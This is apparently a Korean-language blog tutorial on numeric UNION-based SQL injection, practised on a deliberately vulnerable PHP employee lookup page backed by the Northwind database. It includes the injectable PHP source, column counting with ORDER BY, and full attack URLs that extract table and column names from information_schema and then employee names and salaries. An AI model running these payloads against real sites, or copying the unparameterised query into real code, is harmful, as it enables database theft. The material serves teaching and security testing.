[SQL INJECTION] Union 기반 SQL : 숫자형 데이터

 Union 기반 SQL



UNION 연산자란 ? 

UNION 연산자는 둘이상의 SELECT 문 결과를 단일 결과 집합으로 결합할 수 있습니다 . 
UNION 집합을 사용하여 결합된 결과 집합은 모두 같은 구조를 가집니다 . 


SELECT 1, 2 UNION SELECT 'a', 'b';











SELECT REPEAT('a',1) UNION SELECT REPEAT('b',20);

















UNION DISTINCT 및 UNION ALL

기본적으로 중복 행은 UNION결과에서 제거됩니다. 
선택적 ALL 키워드를 사용하면 중복 행 제거가 발생하지 않으며 모든 SELECT명령문에서 일치하는 모든 행이 결과에 포함됩니다.





UNISON 기반 공격

이 공격 기법은 SQL 인젝션 공격이 가능한 파라미터가 확인 되었어도 해당 파라미터의 인자 값이 삽입되는 위치에 따라 사용이 불가능한 경우도 있습니다 . 
서버의 소스코드 확인이 불가한 경우가 많기 때문에 소스코드에 하드 코딩된 쿼리 구문 또한 알 수 없습니다 . 
따라서 쿼리 유추 및 조작 능력에 따라 성공여부를 판단할 수있으며 이 기법이 실패 하더라도 다른 SQL 공격 기법을 이용한다면 데이터 획득이 가능합니다 . 
결국 인젝션의 취약점은 SQL 구문에 대한 이해가 중요합니다 . 

SQL 인젝션에서 발생 빈도가 높은 데이터 유형으로 문자형(varchar), 과 숫자형(INT) 가 있습니다 . 




 숫자형 데이터

웹서비스 과정을 살펴보면 이용자가 웹페이지를 요청할 때 제공한 파라미터와 웹 에플리케이션에 하드코딩된 SQL 쿼리 구문을 조합하여 DB의 데이터를 조회합니다 . 







웹 서비스를 통해 DB 데이터를 조회하기 때문에 가장 먼저 웹 애플리케이션의 파라미터 데이터 타입에 영향을 받고 그 다음으로 DB 타입에 영향을 받습니다 . 





PHP에서는 명시적으로 변수 타입을 지정하지 않는 경우 Variant 로 선언되며 데이터 타입에 상관없이 대입이 가능합니다 . 
용도가 숫자형 일지라도 문자 데이터 입력이 가능합니다 .

  • 웹어플리케이션이 데이터 타입이 숫자로 선언되었고 문자열 데이터인 SQL 공격 구문을 주입하면 웹 어플리케이션에서 형 변환 에러가 일어나기 때문에 공격 쿼리는 DB에 전달되지 않습니다 .
  • 웹어플리케이션의 형변환 에러가 아니더라도 DB 칼럼 타입에 맞는 데이터 형으로 변환하거나 주입이 불가하다면 취약점을 이용한 획득은 불가능합니다 .  

소스 코드 예제를 이용하여 취약점을 파악해보았습니다 . 

소스코드 예제
<?php

if (!$link = mysql_connect('localhost', 'root', 'root')) {
    echo 'Could not connect to mysql';
    exit;
}

if (!mysql_select_db('northwind', $link)) {
    echo 'Could not select database';
    exit;
}

$_empid  = $_GET['empid'];
$sql    = 'SELECT * FROM Employees WHERE EmployeeID=' . $_empid;
$result = mysql_query($sql, $link);

if (!$result) {
    echo "DB Error, could not query the database\n";
    echo 'MySQL Error: ' . mysql_error();
    exit;
}

print "<table border=1 cellpadding=5 cellspacing=0>\n";
print "\t<tr>\n\t\t<td>Employee ID</td><td>First Name</td><td>Title</td>
<td>Hire Date</td>\n\t</tr>";

while ($row = mysql_fetch_assoc($result)) {
    print "\t<tr>\n\t\t<td>" . $row['EmployeeID'] .
"</td><td>" . $row['FirstName'] . "</td><td>" . $row['Title'] . "</td><td>" .
$row['HireDate'] . "</td>\n\t</tr>\n";
}
print "</table>\n";

mysql_free_result($result);
?>
파이썬 라이브러를 이용한 SQL INJECTION 공격 자동화 기법


다음 코드 예제는 사번을 입력하여 임직원 번호를 검색하는 페이지입니다 . 



 다음 예제의 취약점을 도출하는 기본적인 방법으로는 모든 파라미터에 싱글쿼터(')를 삽입하는 것입니다 . 
싱글 쿼터 삽입은 DB 에러를 유도 하는 방법으로 거의 대부분의 취약점 탐지가 가능합니다 . 














소스 코드를 통해 DB의 데이터 조회결과는 순환문을 통해 출력합니다 .
while ($row = mysql_fetch_assoc($result)) {
    print "\t<tr>\n\t\t<td>" . $row['EmployeeID'] . "</td><td>" . $row['FirstName'] .
    "</td><td>" . $row['Title'] . "</td><td>" . $row['HireDate'] . "</td>\n\t</tr>\n";
}
 결과를 모두 화면에 출력하기 때문에 UNION 구문을 기반한 SQL 인젝션에 적합한 구조 이며 이러한 공격 기법을 UNION 기반 SQL 인젝션이라고 합니다 . 


열의 개수 확인하기 

다양한 SQL 쿼리중 컬럼의 개수 확인에 활용이 가능한 구문으로 Order By 절이 있습니다. 
Order By 절은 데이터 정렬에 사용됩니다 .
select * from Categories  order by CategoryID desc;














현재 실습 코드의 order by 절 다음에 정렬 대상의 위치 번호를 순차적으로 증가 시키면 DB 에러가 발생하거나, 지정된 위치 번호에 따라서 정렬된 콘텐츠가 웹브라우저에 출력됩니다 . 
하나의 데이터만 출력되기 때문에 콘텐츠의 변화는 발생하지 않습니다 . 














번호 20을 주입하면 에러가 발생합니다.









DB에러 메세지에는 알 수 없는 컬럼으로 Select 쿼리문에 20번째 칼럼이 없다는 것을 알 수 있습니다 . 
따라서 19개의 컬럼이 있다는 것을 알 수 있습니다 . 

집합 열과 호환되는 데이터 타입


19개의 컬럼의 데이터 유형이 무엇인지 확인해야 합니다 . 
SQL 쿼리 구문에는 데이터 타입에 상관없이 사용이 가능한 NULL 문자가 있습니다 . 
데이터 타입을 NULL 을 이용한 UNION 구문은 다음과 같습니다 . 












null 데이터로 아무런 값이 출력되지 않았습니다. 
UNION 기반 SQL 인잭션으로 DB의 데이터를 획득하기 위해서는 화면에 노출된 4개의 데이터가 몇 번째 컬럼의 데이터에 해당하는지 위치 확인이 필요합니다.




다음 수행으로 숫자형 데이터만으로 유출이 가능합니다 . 
문자형 데이터 획득을 위해서는 이중 어떤 컬럼이 문자열 타입에 해당되는지 추가적인 확인이 필요합니다 .


다음은 UNION 명령을 이용하여 DB의 데이터 획득에 필요한 테이블 및 컬럼 스키마 정보 획득 방법을 알아보겠습니다 . 
앞서 확인한 정보를 통해 3,4의 숫자가 노출된 위치에 테이블 정보가 노출되도록 스키마 정보를 조회합니다 . 
 


  

테이블의 목록을 확인 할 수 있습니다 . 
테이블 목록을 확인하면 다수의 시스템 테이블이 포함되어있고 총 132건이 검색되었습니다.
또한 사번 1 의 "Nancy" 는 테이블 명 획득의 불필요한 정보로 노출되지 않게 하는것이 바람직 합니다 . 
시작을 0으로 시작하고 empno에 존재 하지 않는 번호를 지정하거나 무조건 거짓이 되게 해보겠습니다 . 

불필요한 시스템 테이블을 제거 하기위해 where절에 table_type='base table' 구문을 추가합니다 . 





http://========/empinfo_id.php?empid=0+UNION+SELECT+1,2,3,table_name,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+FROM+information_schema.tables+where+table_type='base table'

조회에 불필요한 정보는 모두 제거 되었으며 사용자 정의 테이블에 해당하는 54 건이 출력되었습니다 . 


DB데이터 조회에 필요한 테이블의 컬럼을 획득하는 방법을 알아보겠습니다 . 
Employees 테이블을 이용하며 컬럼은 스키마 객체의 COLUMNS를 이용하여 조회합니다.

http://=========/empinfo_id.php?empid=null+UNION+SELECT+1,2,column_name,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+FROM+information_schema.columns+WHERE+table_name='Employees'




















조회 결과 20개의 컬럼이 확인되었습니다 . 
DB의 데이터 조회에 필요한 테이블과 컬럼의 목록을 획득하였으며 획득한 테이블과 컬럼으로 데이터 조회를 진행해보겠습니다 . 

직원의 ID,이름,급여의 정보 조회입니다 . 


http://===========/empinfo_id.php?empid=null+UNION+SELECT+EmployeeID,2,FirstName,Salary,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+FROM+Employees























댓글